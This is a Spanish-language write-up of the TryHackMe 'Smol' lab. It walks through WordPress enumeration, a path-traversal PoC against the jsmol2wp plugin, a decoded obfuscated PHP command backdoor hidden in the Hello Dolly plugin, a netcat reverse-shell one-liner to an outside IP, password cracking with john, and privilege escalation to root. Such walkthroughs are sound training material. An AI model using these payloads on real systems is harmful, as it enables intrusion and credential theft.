Post

Smol - TryHackMe

Write up en español para Smol - TryHackMe

Smol - TryHackMe

Escaneo de puertos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sV -Pn -T4 -O 10.10.106.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 18:20 CAT
Nmap scan report for 10.10.106.57
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Portal web

Para poder visitar el portal web debemos añadir la ip en nuestro archivo /etc/hosts con el dominio smol.thm.

1
echo "10.10.106.57 www.smol.thm" >> /etc/hosts

Tanto en la descripción del CTF como en la web encontramos que se trata de sitio web Wordpress.

alt text

Sabiendo esto podemos intentar usar directamente la herramienta wpscan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
wpscan --url http://www.smol.thm/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://www.smol.thm/ [10.10.106.57]
[+] Started: Mon Apr 21 18:29:41 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://www.smol.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://www.smol.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://www.smol.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://www.smol.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.1 identified (Outdated, released on 2024-11-21).
 | Found By: Rss Generator (Passive Detection)
 |  - http://www.smol.thm/index.php/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
 |  - http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>

[+] WordPress theme in use: twentytwentythree
 | Location: http://www.smol.thm/wp-content/themes/twentytwentythree/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://www.smol.thm/wp-content/themes/twentytwentythree/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | [!] Directory listing is enabled
 | Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css
 | Style Name: Twenty Twenty-Three
 | Style URI: https://wordpress.org/themes/twentytwentythree
 | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6....
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://www.smol.thm/wp-content/themes/twentytwentythree/style.css, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

Vemos que ha detectado un plugin y si buscamos vulnerabilidades sobre el mismo encontramos CVE-2018-20463.

Se trata de una vulnerabilidad que nos permite leer archivos del sistema a través de path traversal así como realizar SSRF.

Probamos el siguiente PoC http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php.

alt text

Si probamos esa contraseña en el login de wordpress podemos acceder a la configuración.

alt text

Encontramos un post privado.

alt text

Parecen ser las tareas del webmaster y en una de ellas indica que hay que revisar el código del plugin Hello Dolly.

alt text

Haciendo uso de la anterior vulnerabilidad podemos extraer el contenido del plugin http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php.

1
2
function hello_dolly() {
	eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));

Si la decodificamos obtenemos el siguiente código:

1
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"])

Los nombres de las variables están escritas con escapes octales y hexadecimales, que son formas de codificar caracteres en PHP.

  • \143 es un valor octal.

  • \x6d es un valor hexadecimal.

1
2
3
4
5
$_GET["\143\155\x64"] = $_GET["cmd"]

if (isset($_GET["cmd"])) {
    system($_GET["cmd"]);
}

Este código permite ejecutar comandos del sistema directamente desde la URL.

Explotando el plugin Hello Dolly

Lo normal sería pensar que podemos llamar a esta función de cmd desde el propio plugin y ejecutar comandos del sistema como http://www.smol.thm/wp-content/plugins/hello.php?cmd=pid, pero no lo permite.

Si nos fijamos en el dashboard del administrador Worpress observamos que el plugin está cargado en el backend.

alt text

Por lo tanto podemos intentar llamar a la función de cmd desde aquí.

El comando que utilizarmos es rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.23.66.202 4444 >/tmp/f y lo debemos codificar en URL.

1
http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|sh%20-i%202%3E%261|nc%2010.23.66.202%204444%20%3E%2Ftmp%2Ff

Finalmente obetenmos la shell en el listener.

alt text

La estabilizamos.

alt text

Escalando privilegios

Como ya teníamos las credenciales de la base de datos podemos ver el contenido en busca de algunas credenciales que nos puedan servir.

alt text

Con esos datos creamos un fichero con el usuario:passwordhash y ejecutamos john.

1
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

alt text

Obtenemos las credenciales del usuario Diego.

Escalando privilegios 2

Explorando el sistema encontramos la user flag.

alt text

Además de una clave SSH para el usuario Think.

Copiamos la clave id_rsa y le damos permisos 600.

alt text

alt text

Ahora con el usuario diego encontramos en la configuración PAM para su que este usuario puede iniciar sesión como gege sin necesidad de contraseña.

alt text

Escalando privilegios 3

Como el usuario Gege encontramos un archivo zip que vamos a descargar en nuestra máquina.

alt text

Si intentamos descomprimirlo nos pregunta por la contraseña del archivo.

1
2
3
4
 unzip wordpress.old.zip
Archive:  wordpress.old.zip
   creating: wordpress.old/
[wordpress.old.zip] wordpress.old/wp-config.php password:

Vamos a intentar crackear la contraseña.

1
zip2john wordpress.old.zip > archive_hash

alt text

Ahora si lo podemos descomprimir y encontramos en el archivo de configuración una contrasñe y usuario diferentes de la base de datos.

alt text

Ahora simplemente iniciamos sesión como su xavi y su contraseña.

Escalando privilegios ROOT

Ahora como xavi podemos ejecutar sudo -l ya que tenemos su contraseña.

alt text

Como vemos tenemos completo acceso root con sudo.

alt text

This post is licensed under CC BY 4.0 by the author.